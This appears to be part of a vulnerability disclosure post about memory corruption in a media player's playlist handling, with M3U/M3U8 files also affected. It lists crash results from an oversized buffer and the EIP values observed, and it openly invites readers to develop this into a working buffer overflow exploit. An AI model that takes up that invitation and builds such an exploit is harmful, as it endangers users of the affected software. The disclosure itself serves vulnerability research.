Note: M3u and M3u-8 are also affected by this problem.

EIP gets replaced by semi random values in the memory corruption
here are my experiances:
[Buffer = 1028 A's]

Buffer + X EIP = 0x009efe5a
Buffer + X EIP = 0x00f6eb81 2nd run
Buffer + AAAA EIP = 0x009efde2
Buffer + AAAA EIP = 0x009efdb3 2nd run
Buffer + AAAA EIP = 0x009efdb6 3rd run
Buffer + AAAABBBB EIP = 0x009efdea

(Using the NumberOfEntries made it more consistant)
Buffer + AAAA EIP = 0x00e13fd6 for 3 times until
Buffer + AAAA EIP = 0x00e13fda

If someone can figure out how to control EIP and cause this to become
a buffer overflow exploit, this can be exploited just like
the XMPlayer Buffer Overflow issue or the old Winamp UNC overflow.

if you figure it out, just credit me with my email somewhere in the code,
ill be more than happy :)

Happy Hunting and Happy Holidays to everyone
